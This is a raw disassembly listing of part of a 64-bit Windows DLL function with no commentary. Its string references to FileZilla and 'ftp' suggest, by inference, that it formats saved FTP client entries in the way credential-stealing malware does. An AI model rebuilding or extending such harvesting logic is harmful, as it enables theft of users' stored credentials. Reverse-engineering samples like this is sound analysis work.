movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xd8], 0x10
mov r8, qword [rbp + 0xd0]
cmovae rdx, qword [rbp + 0xc0]
call fcn.1800c0730
mov r8d, 1
lea rdx, [0x18011618c]
lea rcx, [rbp]
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c0730
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov r8d, 1
mov qword [rax + 0x10], rbx
lea rdx, [0x180116190]
mov qword [rax + 0x18], 0xf
lea rcx, [rbp - 0x20]
mov byte [rax], 0
call fcn.1800c0730
mov qword [rbp - 0x80], rbx
lea rdx, [rbp + 0xa0]
mov qword [rbp - 0x70], rbx
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xb8], 0x10
mov r8, qword [rbp + 0xb0]
cmovae rdx, qword [rbp + 0xa0]
call fcn.1800c0730
mov r8d, 2
lea rdx, [0x1801161a0]
lea rcx, [rsp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c0730
lea rdx, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x60], xmm0
mov byte [rax], 0
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x70], xmm1
cmovae rdx, rcx
mov rcx, r12
call fcn.1800c0730
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1800aef22
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aef1d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af23e
call fcn.1800ce78c
mov r8, qword [rsp + 0x78]
cmp r8, 0x10
jb 0x1800aef3f
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
inc r8
call fcn.1800c11c0
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
call fcn.1800c0810
lea rcx, [rbp - 0x20]
call fcn.1800c0810
lea rcx, [rbp]
call fcn.1800c0810
lea rcx, [rbp - 0x60]
call fcn.1800c0810
lea rcx, [rbp + 0x20]
call fcn.1800c0810
lea rcx, [rbp - 0x40]
call fcn.1800c0810
lea rcx, [rsp + 0x40]
call fcn.1800c0810
lea rcx, [rbp + 0x40]
call fcn.1800c0810
lea rdx, [0x18010b2fc]
mov rcx, r14
call fcn.1800c1590
test al, al
je 0x1800af0a3
lea r8, [rbp + 0x100]
lea rdx, str.ftpFileZilla
lea rcx, [rbp - 0x80]
call fcn.1800c1700
mov rdx, rax
lea r8, [0x1801168a8]
lea rcx, [rbp - 0x60]
call fcn.1800c1770
mov rdx, rax
lea r8, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call fcn.1800c15e0
mov rdx, rax
lea r8, [0x180116198]
lea rcx, [rbp - 0x20]
call fcn.1800c1770
mov rdx, rax
lea r8, [rbp + 0xc0]
lea rcx, [rbp]
call fcn.1800c15e0
mov rdx, rax
lea r8, [0x180116198]
lea rcx, [rbp + 0x20]
call fcn.1800c1770
mov rdx, rax
lea r8, [rbp + 0xa0]
lea rcx, [rbp - 0x40]
call fcn.1800c15e0
mov rdx, rax
lea r8, [0x180116194]
lea rcx, [rbp + 0x40]
call fcn.1800c1770
mov rdx, rax
mov rcx, r12
call fcn.1800c07d0
lea rcx, [rbp + 0x40]
call fcn.1800c0810
lea rcx, [rbp - 0x40]
call fcn.1800c0810
lea rcx, [rbp + 0x20]
call fcn.1800c0810
lea rcx, [rbp]
call fcn.1800c0810
lea rcx, [rbp - 0x20]
call fcn.1800c0810
lea rcx, [rsp + 0x40]
call fcn.1800c0810
lea rcx, [rbp - 0x60]
call fcn.1800c0810
lea rcx, [rbp - 0x80]
call fcn.1800c0810
lea rdx, [0x18010b500]
lea rcx, [rbp + 0x100]
call fcn.1800c07f0
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xc0]
call fcn.1800c07f0
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xe0]
call fcn.1800c07f0
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xa0]
call fcn.1800c07f0
inc r13d
lea rcx, [rbp + 0x80]
call fcn.1800c0810
lea rdi, [0x180131770]
mov rcx, r15
call fcn.1800dd5b8
test eax, eax
je 0x1800adc40
mov rcx, r15
call fcn.1800da458
lea rdx, [0x18010b2f8]
mov rcx, r14
call fcn.1800c1590
test al, al
je 0x1800af1c0
mov edx, r13d
lea rcx, [rbp - 0x20]
call fcn.180088c90
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rbp]
call fcn.1800c16a0
mov rdx, rax
lea r8, [0x1801161a4]
lea rcx, [rbp + 0x20]
call fcn.1800c1770
mov rdx, rax
lea r8, [0x1801161a0]
lea rcx, [rbp - 0x40]
call fcn.1800c1770
mov rdx, rax
lea rcx, [rbp + 0x40]
mov r8, r12
call fcn.1800c15e0
mov rdx, rax
mov rcx, r12
call fcn.1800c0870
lea rcx, [rbp + 0x40]
call fcn.1800c0810
lea rcx, [rbp - 0x40]
call fcn.1800c0810
lea rcx, [rbp + 0x20]
call fcn.1800c0810
lea rcx, [rbp]
call fcn.1800c0810
lea rcx, [rbp - 0x20]
call fcn.1800c0810
lea rcx, [rbp + 0x120]
call fcn.1800c0810
lea rcx, [rbp + 0xe0]
call fcn.1800c0810
lea rcx, [rbp + 0xa0]
call fcn.1800c0810
lea rcx, [rbp + 0xc0]
call fcn.1800c0810
lea rcx, [rbp + 0x100]
call fcn.1800c0810
mov rcx, r14
call fcn.1800c0810
mov rdi, qword [rsp + 0x368]
mov rax, r12
mov rsi, qword [rsp + 0x3b0]
mov r15, qword [rsp + 0x360]
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x370
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret
call fcn.1800dd818
int3
call fcn.180088c70
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.180088bd0
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.1800c1310
int3